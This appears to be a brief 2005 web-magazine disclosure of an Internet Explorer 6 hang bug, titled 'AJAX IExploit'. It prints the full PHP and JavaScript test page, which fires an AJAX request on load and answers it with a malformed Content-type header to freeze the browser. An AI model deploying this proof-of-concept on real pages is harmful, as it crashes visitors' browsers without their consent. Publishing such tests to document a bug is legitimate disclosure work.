Published on 2005-07-26 22:30:01
The code that have been used to test is listed below : if (@$_SERVER['QUERY_STRING'] == 'ajax') { /** Sending this header causes Internet Explorer to hang. Tested on XP with IE 6.0. Contact: anakin@php5.pl */ header('Content-type: text/html; encoding=utf-8'); echo 'Dead.'; exit; } <html xmlns="http://www.w3.org/1999/xhtml" lang="pl"> <head> <title>AJAX IExploit</title> <script type="text/javascript"> function pageLoad() { xmlHttp = false; try { xmlHttp = new ActiveXObject("Msxml2.XMLHTTP" ); } catch (e) { try { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP" ); } catch (e) { xmlHttp = false; } } if (!xmlHttp && typeof XMLHttpRequest != 'undefined') xmlHttp = new XMLHttpRequest(); if (!xmlHttp) return; xmlHttp.open("GET", "?ajax", true); xmlHttp.send(null); } </script> </head> <body onload="pageLoad()"> Dead. </body> </html>
Previous Page
Member of the PHP Magazine Network, Copyright (C) 2005-2008 phpmagazine.net All Rights Reserved